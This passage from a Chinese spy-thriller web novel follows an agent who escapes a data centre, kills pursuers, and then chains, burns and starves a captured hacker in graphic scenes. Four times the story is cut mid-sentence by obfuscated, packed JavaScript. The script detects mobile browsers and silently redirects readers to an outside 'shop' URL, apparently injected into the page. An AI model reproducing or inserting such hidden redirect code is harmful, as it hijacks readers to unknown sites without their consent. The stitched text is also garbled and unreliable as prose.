硬冲?那是找死。外面至少有一个小队的重装特勤。 但她是亓默。 顶级特工从不抱怨队友太猪,因为他们确实是。 她转身,目光锁定了角落里的那个不锈钢垃圾桶。 她把里面的废纸倒在会议桌上。 “啪嗒。” 打火机点燃。 她把引燃的纸条靠近烟雾探测器。 两秒钟后。 位于天花板正上方的烟雾探测器红灯闪烁。 “铃铃铃——!!!” 刺耳的火警铃声瞬间响彻整栋大楼。 紧接着,天花板上的自动喷淋头爆裂,浑浊的消防水像暴雨一样倾盆而下。 【系统安全协议触发:火灾模式】 【所有电子门禁强制断电释放(Fail-safe)】 “咔哒。” 那扇原本坚不可摧的电子门,因为断电,锁舌自动弹开了。 这就是规则。 再牛逼的安防系统,在消防法规面前也得低头。 走廊。 “请注意!这不是演习,不是演习!请大家有序撤离!”广播疯狂播放语音。 因为火警,整层楼的白领都惊慌失措地冲了出来,尖叫声、脚步声乱成一团。 “着火了!快跑啊!” 正在门口准备破门的特勤小队瞬间被涌出来的人潮冲散了。 “让开!都趴下!不许动!” 队长试图维持秩序,但没人听他的。在求生本能面前,人群就是洪水。 就在这一片混乱中。 会议室的门开了。 一个浑身湿透、头发凌乱的身影混在人群里冲了出来。 亓默脱掉了显眼的西装外套,只穿着那件被水淋透的白衬衫。她抓乱了头发,顺手从旁边一个惊恐的女白领脸上扒下来一个口罩戴上。 她甚至故意捂着肚子,装出一副被浓烟呛到的虚弱样子,踉踉跄跄地混在人堆里往楼梯间挤。 “站在那里!那个白衬衫!” 一名眼尖的特勤发现了不对劲,伸手去抓她的肩膀。 亓默没有回头。 在对方的手指触碰到她肩膀的一瞬间,她猛地转身,左手死死夹住对方的手腕,右手寒光一闪。 那是那把手术刀。 刀锋精准地扎进了特勤腋下的防弹衣缝隙,切断了臂丛神经。 特勤连惨叫都没发出来,整条胳膊瞬间废了,痛得跪倒在地。 亓默顺势扶住他,就像是在搀扶一个摔倒的路人,借着他的身体挡住了后面射来的□□探针。 然后她用力一推,把这个倒霉蛋推进了人堆里制造路障,自己则像条泥鳅一样钻进了安全通道。 太平洋数据中心,七楼消防通道。 转角。遭遇。 距离两米。 特勤反应极快,反手拔出□□,寒光横扫。 亓默不退反进,身体猛地向右一拧,把左侧腰肋主动送到了刀锋下。 利刃切开皮肉,鲜血瞬间浸透了白衬衫。 借着这一刀的距离,亓默撞进对方怀里。 左手扣腕,右手的手术刀精准地扎进了特勤的太阳穴。 特勤瞬间断电,像一滩烂泥般瘫软下去,只有少量的血顺着鬓角流下。 亓默推开尸体,甚至没空喘口气。 伸手,摸向后腰。 一把 SIG P320。两个备用弹夹。 收枪。摘下耳麦,戴上。 然后一把掀开死者的黑夹克,拽住里面那件干净的棉T恤,暴力撕扯。 布帛碎裂声中,一大团棉布被她扯了下来,在手里团成一个紧实的球。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068513|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她低头看了一眼自己腰侧。 伤口翻卷,血正在像开了闸一样往外渗。 没时间做那一套标准的填塞流程了。 亓默咬紧后槽牙,那是把牙齿都要咬碎的力气。 她拿着那团布,没有任何犹豫,直接对着那个正在喷血的窟窿,狠狠按了进去。 **“唔——!”** 剧痛瞬间炸开,冷汗直接从发根里渗了出来。 她感觉自己像是把一只手伸进了火炭里。手指混着粗糙的布料,硬生生挤进皮肉之间,把断裂的血管强行堵死。 手在抖,但劲没松。 能用的东西不少。 保持着按压的姿势,她单手扒下了特勤的战术腰带。 她深吸一口气,双手抓住腰带的收紧绳,在那团填充物的位置,猛地勒死。 腰带变成了止血带。 痛感让人清醒得可怕。 但这还不够。白衬衫已经被血浸透了,走出去就是活靶子。 亓默咬着牙,俯身抓起尸体上的深灰色战术夹克。 拉链拉到顶,立起领子 外观上,她只是换了一件有点大的黑外套,脸色白得像纸,但身上再没有一丝血腥气透出来。 临走前,她掏出工牌在七楼狠狠一刷。 “滴。” 绿灯亮起,访问记录生成。 她甚至没有看一眼那扇门,转身贴着墙根,无声地滑向楼下的阴影。 两秒后,耳机里炸了锅: “系统报警!她在七楼刷了卡!所有人封锁七楼!别让她下去!” 密集的脚步声像潮水一样疯狂向上涌去。 而下方,一片真空。 三楼,男厕所。 反锁门,拖垃圾桶顶死。 亓默没有任何喘息,抄起墙角的灭火器。 面前是全封闭钢化玻璃。 侧腰的伤口被战术腰带勒得发木,血已经把黑夹克的下摆浸得湿沉。 “哗啦——!!!” 灭火器砸下,玻璃崩解。 冷风灌入。 下方十米,黑色的大铁皮垃圾箱。 亓默紧了紧夹克,助跑,起跳。 黑色的身影如同一块坠落的石头,狠狠砸进了垃圾堆里。 轰。 巨大的冲击力被垃圾袋缓冲,但填塞在伤口里的布团狠狠搅了一下内脏。 亓默在黑暗中闷哼一声,差点晕厥。 几分钟后。 垃圾箱盖子被推开。 亓默翻身爬出,满身污泥。 她扶正耳麦。 里面传出了她求之不得的信息。 “……目标在东侧旧城区流窜!是个女孩!” “她在往那条死胡同里钻……抓住她了。” 亓默吐出一口带血的唾沫,笑了。 “抓到你了。” 17. [Ghost] 幽灵 17 太平洋数据中心外,两个街区。 袁问抱着那台沉甸甸的戴尔工作站,脚步轻快地穿过马路。 虽然气喘吁吁,但她的嘴角却忍不住上扬,甚至想吹个口哨。 赢了。 她摸了摸贴身口袋里那个冰凉的 PSSD 硬盘。 那里面装着不知道什么内容的核心数据。 “我就说我是天才吧。” 袁问躲进一家便利店的屋檐下,回头看了一眼远处那栋警铃大作的黑色大楼。 “想抓我?只要我网线拔得够快,你的追踪包就追不上我。” 她得意地掏出那部备用的二手安卓机,打开离线地图。 “只要穿过这片老城区,到了长途车站,随便找辆黑车……我就自由了。” 然而。 两分钟后。 袁问的脚步慢了下来。 不对劲。 她走过一个路口,余光瞥见一辆黑色的 SUV 缓缓滑过,速度慢得不正常。 她拐进一条商业街,混入人群。 前面一个穿着黑色卫衣的壮汉,突然停下脚步,按了一下耳麦,回头看了她一眼。 那个眼神,冷冰冰的,像是在看猎物。 袁问的心脏猛地一缩。 巧合吧? 她立刻转身,钻进旁边的小巷。 她低头看手机地图,手指飞快地缩放,专门找那种连车都进不去的、像迷宫一样的死胡同。 “绕死你们……只要我绕得够晕……” 可是,无论她怎么绕。 那种如芒在背的窥视感始终甩不掉。 每当她以为甩掉了,转过下一个街角,总能看到一两个穿着深色衣服、身材魁梧的男人,在视线的边缘若隐若现。 他们在赶羊。 他们在把她往一个特定的方向赶。 “怎么可能……我已经断网了啊……” 袁问躲进一个垃圾桶背后,冷汗瞬间湿透了后背。 她哆哆嗦嗦地打开怀里的戴尔工作站。 她想确认一下是不是网卡没拔干净,或者是系统残留了什么进程。 屏幕亮起。 袁问的呼吸瞬间停滞了。 没有桌面。没有文件夹。 只有一张巨大的、像素化的蜘蛛网壁纸,铺满了整个屏幕。 屏幕中央,那个熟悉的对话框缓缓浮现,光标一闪一闪,像是在嘲笑她的天真: > Hello, Script Kiddie. > Offline? You really think that helps? > Look up. Smile for the camera. 袁问下意识地抬头。 头顶,一个不起眼的老旧治安摄像头,正闪烁着红光,死死地盯着她。 “啊!!!” 袁问尖叫一声,像是怀里抱着的不是电脑,而是一块烧红的烙铁。 她猛地站起来,用尽全身力气,把这台三万块的机器狠狠砸向了墙壁。 “砰!” 屏幕碎裂,零件崩飞。 他在看着我! 全城的摄像头都在看着我! 只要我有电子设备,我就在裸奔! 她发了疯一样掏出口袋里的两部备用手机,狠狠摔在地上,还上去踩了两脚,直到把屏幕踩得稀碎。 甚至连那罐一直舍不得喝的魔爪,也因为它是金属罐体,可能反射雷达波?她已经疯了,被她远远地扔了出去。 然后,她的手伸向了那个 PSSD 硬盘。 她犹豫了零点一秒。 没舍得扔。 这是离线存储!这是闪存!这玩意儿不通电就是块石头!不可能被定位! 这是我的命根子! 她把硬盘死死塞进内裤的夹层里。 但这还不够。为什么他们还能跟上来? 袁问突然想到了什么,脸色变得狰狞而怨毒。 “疯女人!” “肯定是那个疯女人!” “她在衣服里藏了定位器!她早就防着我这一手!” 袁问像个疯子一样,在肮脏的小巷里开始脱衣服。 外套?扔了! 鞋子?脱下来检查,鞋底有没有硬块?扔了! 她把自己剥得只剩下一件单薄的T恤和那条藏着硬盘的裤子,光着脚,踩在污水横流的地面上。 “没有……怎么可能没有……” 她把自己全身上下摸了一遍,连头发缝都没放过。 什么都没有。 恐惧终于彻底吞噬了她。 她意识到,不是亓默,也不是衣服。 是个高手。 那个变态不需要定位器,他只需要看着这座城市,就能像看显微镜下的细菌一样看到她。 “别过来……别过来……” 她光着脚,踉踉跄跄地向巷子深处跑去。 那是绝路。 巷子深处。 没路了。是一堵两米高的红砖墙。 袁问绝望地回头。 一辆黑色 SUV 悄无声息地堵住了巷口。 三个戴着口罩的壮汉走了下来,手里整齐划一地甩出了伸缩警棍。 “啪、啪、啪。” “别……别过来……” 袁问腿一软,瘫在垃圾堆旁。 刚才那股“我赢了”的得意劲儿全没了,只剩下鼻涕和眼泪。 “我给!我给!” 她哭得浑身抽搐,试图把那个藏在裤子里的硬盘掏出来当买路财: “名单我有!别打我!我跟那个疯女人不是一伙的!我是被她绑架的!” “我知道她在楼里!你们去抓她!我是良民!” 领头的男人冷笑一声,举起警棍。 “闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068514|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴。跟我们走。” 就在警棍即将落下的瞬间。 “嗡——!!!” 引擎咆哮。一辆黑色的奥迪像疯牛一样冲进巷子。 “嘭!” 车头狠狠撞烂了特勤的车。 车门踢开。 一个女人走了下来。 她手里握着一把手枪。 扑倒在地上的特勤挣扎着想爬起来。 亓默看都没看他们一眼。 单手持枪,对着地面,扣动扳机。 “砰砰砰砰砰砰——!!!” 枪口喷吐火舌,密集的枪声在狭窄巷子里炸响。 她根本没有停的意思,直到“咔哒”一声,空仓挂机。 弹夹清空。 枪口冒着袅袅青烟,周围空气因高温而扭曲。 那几个还能动的特勤吓疯了。 在这个大家都默契用冷兵器抓人的闹市区,突然冒出一个敢清空弹夹的疯子。 没人敢动。他们拖起同伴,连滚带爬地逃出了巷子。 巷子里安静了。 袁问缩在墙角,看着那个满身是血的女人一步步走过来。 那是亓默。 她没死。她杀出来了。 “姐……姐……” 袁问哆哆嗦嗦地挤出一个比哭还难看的笑脸,试图唤起一点点并不存在的温情。 “你没事太好了……我刚才……我是想去找救兵……我没想跑……” 亓默站在她面前,居高临下。 那眼神,像是在看一坨会说话的死肉。 亓默没有说话。 她突然弯下腰,一把死死揪住袁问的头发,将她的脑袋向后硬扯,迫使她张大了嘴。 “唔!!” 下一秒。 那根还在冒烟的枪管,带着浓烈的硝烟味和铁锈味,直接粗暴地捅进了袁问的喉咙深处。 仿佛生肉扔到了铁板上。 高温金属瞬间烫烂了口腔内壁和舌头。 剧痛。 袁问眼珠子都要瞪出来了,身体剧烈痉挛,双手想去抓枪,但被亓默那只满是鲜血的手死死按住。 她叫不出来,口水顺着枪管流下来,瞬间被蒸发成白气,发出类似沸腾水壶般的惨叫。 亓默凑近她扭曲的脸: “烫吗?” 袁问拼命点头,眼泪狂流。 “烫就对了。” 亓默手腕冷酷地一转,滚烫的铁管在烂肉里搅了一圈,刮过牙齿,发出令人牙酸的摩擦声。 “这点疼,比起你拔网线想害死我的时候,差远了。” 亓默猛地抽出枪。 袁问像烂泥一样瘫倒,捂着嘴剧烈干呕,吐出来的全是血水。 “上车。” 亓默把那个没用的空弹夹退出来,砸在袁问脸上。 “再敢跑一次,我就把子弹烧红了,一颗一颗喂进你的胃里。” 18. [Lamb] 羔羊 01 二十分钟后,城郊的一处废弃高架桥下。 那辆醒目的奥迪被遗弃在阴影里,引擎还在散发着滚烫的热浪。 当她们再次上路时,座驾已经变成了一辆没有任何特征的银灰色大众。 这是亓默备用的“幽灵车”,挂着套牌,车窗贴着深黑色的膜,混在车流里就像一滴水汇入大海。 车厢里很安静,只有空调出风口的微弱响声。 空气中弥漫着一股难以散去的焦糊味——那是袁问口腔里烂肉的味道。 袁问缩在副驾驶,双手捂着肿胀溃烂的嘴,身体随着车身的颠簸不停地抽搐。她疼得神志不清,眼泪鼻涕糊了一脸,那个高傲的“天才黑客”现在看起来就像一只被开水烫过的癞皮狗。 亓默单手扶着方向盘,另一只手把玩着那个从特勤身上抢来的战术耳机。 耳机里是一片死寂的白噪音。 “行了。” 亓默突然开口,随手把耳机扔进后座。 声音虽然冷,但透着一股掌控全局的镇定。 “尾巴切干净了。暂时安全。” 听到这两个字,袁问紧绷到极限的神经猛地松了一下,整个人像一滩烂泥一样瘫软在座椅上。 活下来了。 不管怎么样,至少今晚不用死了。 但她很快发现,车里的气氛并没有因此变得轻松。 一种比追杀更恐怖的压抑感,正在从驾驶座那边蔓延过来。 亓默拿出一包湿纸巾,慢条斯理地擦拭着手上沾染的、属于袁问的口水和血迹。 她擦得很仔细,一根手指一根手指地擦,仿佛那是某种极其肮脏的秽物。 “觉得委屈?” 亓默把沾血的湿巾团成一团,随手砸在袁问身上,声音冷得像冰碴子。 袁问哆嗦了一下,拼命摇头,喉咙里发出“呜呜”的含混声音。 “你是不是觉得自己挺厉害?” 亓默冷笑一声,那是发自内心的、对蠢货的嘲弄。 “拔网线,卖队友,钻下水道,买二手手机……你觉得这套‘脱身术’很完美,是吧?” “袁问,搞清楚一件事。” “以前你能躲掉,不是因为你技术好,是因为你廉价。” 亓默转过头,眼神如刀,死死钉在袁问脸上: “在系统眼里,你就是个偷外卖、蹭网费的底层垃圾。没人愿意为了抓一只耗子去动用卫星和天眼。所以你才能在阴沟里活得像个‘幽灵’。” “但今天不一样。” “当你走进那栋大楼,当你拿走那个硬盘,你就站到了聚光灯底下。” “这是高端局。” “在 Auditor 这种级别的对手面前,你那些换衣服、躲监控的小把戏,幼稚得像个没断奶的孩子。” “步态识别、热成像、行为逻辑预测……你以为你扔了手机就没人找得到你?” “你走进那个死胡同的时候,Auditor 估计正坐在空调房里,喝着可乐,看着你像个傻逼一样自己往笼子里钻。” 袁问的身体僵住了。 这一刻的羞耻感,比嘴里的剧痛还要尖锐。 她引以为傲的生存智慧,被亓默毫不留情地扒了个精光,露出了下面那个无知、软弱的本质。 原来她不是猎手,她一直都是那个连洗洁精都不配用的洗碗工。 “我真是倒了八辈子血霉。” 亓默收回视线,看着前方越来越荒凉的路况,语气里充满了厌恶。 “本来以为捡了个顶级黑客当帮手,结果捡回来一坨自以为是的狗屎。” “没那个本事,就别学人玩黑吃黑。” “从现在开始,收起你那些要在阴沟里翻身的小聪明。” 车子拐进了一条没有路灯的土路。 远处,几栋黑漆漆的烂尾楼像墓碑一样矗立在荒野中。 袁问看着窗外,本能地感到恐惧。 “姐……我们去哪……” 她含糊不清地问,声音发抖。 亓默没有回答。 她一脚刹车,把车停在了一扇生锈的地下室铁门前。 熄火。关灯。 黑暗瞬间吞噬了一切。 “下车。” 亓默推门下去,绕到副驾驶,一把拉开车门。 她揪住袁问的衣领,像拖一袋垃圾一样,直接把她从车上拽了下来,拖向那扇黑洞洞的铁门。 “既然你的脑子坏了,那就得修。” 亓默的声音在空旷的荒野里回荡,带着审判般的冷酷。 “在这里,没人会打扰我们。” “既然你学不会怎么做人,那就从当一只听话的动物开始学起。” “哐当。” 沉重的铁门被推开。 一股发霉的潮气扑面而来。 袁问被扔了进去。 随后,铁门重重关上。 落锁。 逃亡结束了。 驯化开始了。 组织总部,顶层会议室。 这里没有窗户,四周全是巨大的全息投影幕墙。 空气冷得像停尸房。几个模糊的人影投射在幕墙上,他们是这里的“董事会”,是真正的掌权者。 房间中央站着两个人。 一个是**Auditor**。他依然穿着那身精致的羊绒衫,手里端着一杯还在冒热气的特浓咖啡,神态轻松,甚至带着点邀功的惬意。 另一个是老邢。他低着头,那件平时笔挺的西装此刻显得有些皱巴,满脸灰败。 “数据拿到了。” Auditor 手指轻轻一划,将一个巨大的数据包投射到半空。 那是从太平洋数据中心流出的、关于五年前那 420kg 货物的全部底层日志和加密文件。 “那个小朋友虽然把我的网线拔了,但她毕竟还是太嫩。” Auditor 喝了一口咖啡,语气轻蔑又带着几分欣赏: “我在她的下载通道里做了个Port Mirroring(流量镜像)。” “她拿走了一份,我也留了一份。不用谢。” 他转头看了一眼老邢,嘴角勾起一抹坏笑: “至于物理抓捕嘛……” Auditor 摊了摊手,一脸“这锅我不背”的表情: “我已经把饭喂到嘴边了。定位精确到了米,连她是跑路还是开车都算出来了。” “结果呢?” 他啧啧两声,看向老邢: “邢叔,你的人居然让她们跑了?而且还是被一把手枪给吓跑的?” 老邢咬着牙,额头青筋暴起: “那是亓默!你知道她有多危险吗?!” “我的小队……” “哎呀,别找借口。” Auditor 打断了他,甚至还在笑:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068515|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “承认吧,亓默就是很难抓。” “你们那群只会用蛮力的黑手套,在她面前就像是一群笨拙的猩猩。” 他那种“虽然她是敌人但我很骄傲”的态度,让老邢气得差点脑溢血。 幕墙上的影子动了。 一个苍老且威严的声音传了出来: “够了。” “Auditor,做得不错。既然那份数据也是袁问想要的,说明里面藏着我们要找的核心。” “你的重心转移。全力破解这份加密文件,搞清楚五年前到底留下了什么。” “是。”Auditor 微微欠身。 “至于老邢……” 那个声音顿了一下,透着一股不容置疑的冷酷: “你老了。连自己的狗都看不住。” “从今天起,你卸任行动组指挥权。去地下三层,给 Auditor 当副手。协助他进行数据分析。” 老邢的身体猛地一颤。 从实权指挥官变成技术宅的副手,还要被 Auditor 羞辱,这比杀了他还难受。 “……是。”他只能低头。 “那亓默和袁问……”老邢不甘心地问了一句,“谁去抓?” “Knight。” 那个声音吐出了一个名字。 听到这个名字,连 Auditor 喝咖啡的手都停顿了一下。 Knight。 组织里最不想让人提及的清道夫。他没有感情,没有废话,甚至没有痛觉。他是纯粹的杀戮机器。 “Knight已经出发了。他会接管黑手套。” “散会。” 会议室的灯光熄灭。 Auditor 带着胜利者的微笑,领着灰头土脸的老邢走了出去。 空荡荡的房间里,只剩下那面巨大的黑色屏幕。 突然,屏幕亮了一下。 不是有人在操作,而是系统自己在运行。 一行行红色的代码在无人注视的黑暗中静默流淌。 [Analysisplete] [Subject: K-7 Data Archive] [Status: DUPLICATED] (状态:已复制) 系统的逻辑是绝对理性的。 它不在乎人类的博弈,不在乎谁是 Auditor,谁是Knight。 它只看到一个事实: 核心数据泄露了。 一份在 Auditor 手里(内部,暂时安全),加密文件。 一份在 0913 号目标(袁问)手里(外部,极高风险),物理文件。 [Target Assessment: 0913 (Yuan Wen)] [Risk Level: CRITICAL] [Action: SURVEILLANCE & OBSTRUCTION] (行动:监控与阻断) 老邢剥夺了它的“物理抹杀”权限。 但没关系。 系统接管了技术支持。 它把那只无形的电子眼,从 Auditor 身上移开,死死地锁定了那个正在黑暗地下室里瑟瑟发抖的女孩。 它不能开枪。 但它并不介意诱导控制自己的人类。 狩猎逻辑,重写完成。 19. [Lamb] 羔羊 02 深夜,城郊烂尾楼地下室。 这里原本可能是个配电房,或是流浪汉废弃的据点。空气里弥漫着陈旧的霉味、铁锈味,以及某种难以言喻的潮气。 没有窗,唯一的来源是亓默扔在地上的一个应急露营灯,发出惨白而冷硬的光。 “哐当。” 袁问像一袋垃圾一样被扔在了水泥地上。 她捂着嘴,蜷缩成一团。口腔里那块被高温枪管烫熟的烂肉正在持续释放着剧痛,每一次呼吸都带着血腥味。她想哭,但喉咙肿得只能发出破风箱般的“嘶嘶”声。 亓默没有理她。 她反锁了那扇沉重的铁门,甚至搬了一根废弃的钢筋顶住门把手。然后,她走到房间唯一的桌子前——那是几个废油桶搭起来的台子。 她脱掉了那件黑色的战术夹克,里面是那件被血浸透、已经干硬的白衬衫。 她面无表情地撕开了衬衫下摆,露出了侧腰。 借着惨白的灯光,袁问透过指缝,惊恐地看到了那道伤口。 狰狞、翻卷,深可见骨。之前填塞进去的布条已经和血肉粘连在了一起。 如果是普通人,这时候早就疼昏过去了。 但亓默只是皱了皱眉。她从抢来的急救包里拿出一瓶工业酒精,没有任何预警,直接整瓶倒在了伤口上。 虽然没有声音,但袁问浑身猛地一抖,仿佛那酒精是浇在自己身上。 亓默的背部肌肉瞬间绷紧,冷汗顺着脊椎滑落,但她一声没吭。 接着,是更恐怖的画面。 因为没有麻药,也不想浪费时间。 亓默拿出持针钳,穿好医用缝合线。她咬住一卷纱布,手腕翻转,针头刺入皮肤。 她在自己缝自己。 动作稳定、精准、冷酷,就像是在缝补一件破衣服,而不是自己的肉。 鲜血染红了她的手指,滴在满是灰尘的地上,发出“滴答、滴答”的声音。 袁问缩在角落里,彻底吓傻了。 这还是人吗? 这根本就是个没有痛觉的机器,是个披着人皮的恶鬼。 自己居然想算计这种怪物?居然想拔这种怪物的网线? 嫌命长……真的是嫌命长…… 二十分钟后。缝合结束。 亓默吐出嘴里的纱布,拿起一瓶矿泉水,仰头灌了一半,剩下的一半淋在头上,洗掉了脸上的血污和硝烟。 然后,她转过身。 那双在冷光下显得毫无温度的眼睛,看向了角落里的袁问。 袁问瞬间停止了呼吸,拼命往墙角缩,恨不得把自己嵌进墙缝里。 亓默拎着那卷粗铁链,一步步走过来。 铁链在水泥地上拖行,摩擦声刺耳。 她走到袁问面前,蹲下。 并没有再打她。甚至语气都很平静。 “脚伸出来。” 袁问拼命摇头,眼泪狂流,嘴里呜呜囔囔地求饶。 亓默没废话,直接伸手抓住了袁问的左脚踝,用力一扯。 “咔嚓。” 挂锁扣死。 另一头被锁在了旁边那根锈迹斑斑的水管上。 活动范围:1.5米。 “从现在开始,你就在这儿待着。” 亓默站起身,居高临下地看着她。 “这里没有网络,没有信号,没有 GPS。” “你不是喜欢拔网线吗?这回让你断个彻底。” 她从袁问兜里掏出那个PSSD(固态硬盘)。 那是她们拼了命换回来的东西。 “在你学会怎么当个人之前,别想碰电脑。” “也别想吃饭。” 亓默转身走向门口,关掉了那盏应急灯。 “啪。” 黑暗瞬间吞噬了一切。 “好好反省。或者,直接饿死。” 铁门重重关上。 落锁的声音像是一记重锤,砸碎了袁问最后的希望。 黑暗中,只剩下袁问绝望的呜咽声,和那因为烫伤而无法吞咽的口水滴落的声音。 时间模糊,大约是第三天。 地下室里没有光,袁问失去了时间概念。 她只能靠身体的溃败程度来计时。 前两天,她还能在黑暗里咒骂,用头撞墙,甚至幻想那个组织会来抓她——哪怕被抓也好过在这里烂掉。 但到了第三天,她不动了。 她的嘴巴肿得像含着两块炭。胃里没有东西,胃酸开始腐蚀胃壁,疼得她直冒冷汗。 旁边那个塑料桶已经散发出浓烈的骚臭味,提醒着她现在的处境——她连去厕所的资格都没有,只能像狗一样在窝边解决。 “咔哒。” 铁门上的小窗突然被拉开。一道刺眼的手电筒光束射了进来。 门开了。 亓默走了进来。她换了一身干净的衣服,手里拿着一个塑料袋,还有一瓶水。 袁问的眼睛瞬间亮了。那是绿光,是纯粹的兽性。 她顾不上嘴里的疼,手脚并用地向亓默爬去,铁链绷得笔直。 “姐……水……水……” 她的声音含糊不清,干裂的嘴唇渗着血丝。 亓默站在安全距离外。 她面无表情地看着地上这个脏兮兮的生物。 “想吃?” 亓默从袋子里拿出一个馒头。 表皮干裂、硬得像石头。 她没有递给袁问。 她手一松。 馒头掉在了地上,滚了两圈,停在满是灰尘的水泥地上,离那个散发恶臭的塑料桶不远。 袁问僵住了。 她抬起头,看着亓默。 虽然她是老鼠,但这种喂狗般的羞辱,还是刺痛了她。 “嫌脏?” 亓默冷笑一声,那是发自内心的蔑视。 “你拔网线卖队友的时候,心比这脏多了。” 她拧开矿泉水瓶。 袁问死死盯着那瓶水,喉咙疯狂吞咽。她太渴了,嘴里的烫伤加上脱水,让她感觉整个人都在燃烧。 亓默自己喝了一口。 然后,她手腕一翻。 清澈的水流倾泻而下,直接倒在了干燥的水泥地上。 水很快渗进缝隙里,变成了一滩渐渐消失的水渍。 “不!!!” 袁问发出了一声撕心裂肺的惨叫。 那是她的命啊! 亓默一直倒到瓶子里只剩下一小半。 她把瓶子扔在那个脏馒头旁边。 “这几天只有这个。” 亓默的声音在空旷的地下室里回荡,冷酷得像判决书。 “你的命不值钱。水都比你贵。” “省着点喝。下一顿是后天。” 说完,她转身就走。毫不留恋。 “唔!唔唔!” 袁问伸手去抓亓默的裤脚,但铁链无情地把她拽了回来。 “砰!” 铁门重重关上。黑暗再次降临。 袁问趴在地上,听着外面远去的脚步声,绝望地发抖。 她看着地上那滩已经渗干的水渍,又看着瓶底那可怜的一点点水。 她不敢再犹豫了。 她扑过去,先小心翼翼地把瓶底的水舔干净,一滴都不敢漏。 然后抓起那个沾了灰的硬馒头。 太硬了,要把牙崩断。 她只能含在嘴里,用那点珍贵的唾液一点点软化,混着眼泪和灰尘,硬生生地往下咽。 真难吃。 但是……想活。 第五天。 如果说饥饿是□□的折磨,那被剥夺价值就是精神的凌迟。 这一次,亓默没有拿食物。 她搬了一把椅子,坐在了离袁问三米远的地方。 她手里拿着那个PSSD,还有一台轻薄的平板电脑。 借着平板微弱的光,袁问看清了亓默的脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068516|195178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亓默根本没看她。 亓默戴着耳机,正在专注地看着屏幕上的数据,手指偶尔滑动一下。 她把袁问当成了空气。 袁问慌了。 这种无视意味着——你没有价值了。你随时可以被抛弃。 “姐……” 她像条虫子一样蠕动了一下,铁链哗啦响,声音沙哑带着哭腔。 她用尽力气想让自己的声音清晰一点。 “那个……那数据……有加密……” 亓默没理她。 “真的!那是双层加密!” 袁问急了,就算撒谎,她也要拼命想证明自己不是一坨会呼吸的垃圾: “只有我懂那个算法!姐!你让我看一眼!我能解开!” 亓默终于摘下了一只耳机。 她侧过头,眼神冷淡地扫了袁问一眼。 “你想看?” “想!我想!我有用!”袁问拼命点头,头磕在地上咚咚响,“别把我关在这儿了……我求求你……我给你干活……” 亓默嘴角勾起一抹残忍的弧度。 “行啊。” 她从口袋里掏出一样东西,扔在袁问面前。 是一张纸和一支笔。 “既然你脑子这么好使,那就默写。” 亓默指了指那张纸: “把你脑子里的解密逻辑、公式,全部默写下来。” “写错一个字,那一天的饭就没了。” 袁问愣住了:“可是……可是没有电脑,我算不出来……” “那是你的事。” 亓默重新戴上耳机,视线回到平板上。 “写不出来,就是废物。废物不配吃饭。” 袁问看着那张白纸,手在颤抖。 如果不给电脑,纯靠脑子算那些复杂的哈希碰撞,那是人干的事吗? 但她不敢反抗。 她趴在地上,借着平板漏出来的那一点点余光,握着笔,开始在纸上疯狂地写画。 一小时后。 袁问捧着那张纸,颤巍巍地递给亓默。 纸上密密麻麻写满了字。 但那根本不是什么代码。 那是一堆毫无意义的鬼画符。 12-1=11 ROOT 还有一堆被反复涂黑的圈圈,以及写满角落的“救命”、“饿”。 离开了电脑,离开了那些一键运行的脚本,她连最基本的十六进制转换都算不对。她以为自己在写代码,其实只是在把脑子里的浆糊倒在纸上。 亓默扫了一眼,笑了。 她把那张纸撕成了两半,扔在袁问脸上。 “这就是你的本事?” 亓默站起身,一脚踩在那堆废纸上。 “承认吧,袁问。” “你不是什么天才。你就是一个离开了工具就生活不能自理的巨婴。” “没了电脑,你连个加减乘除都算不明白。” “既然写不出来,那就别吃了。” 亓默踢开纸屑,拿起平板转身就走。 “不!!别走!!” 袁问崩溃了。那种被彻底否定的羞耻感,让她像疯狗一样扑上去。 “我会!我会!给我电脑……求你了给我电脑……只要有键盘我什么都能干……” “砰!” 铁门再次重重关上。 门外,亓默并没有走远。 她靠在墙上,点了一根烟。 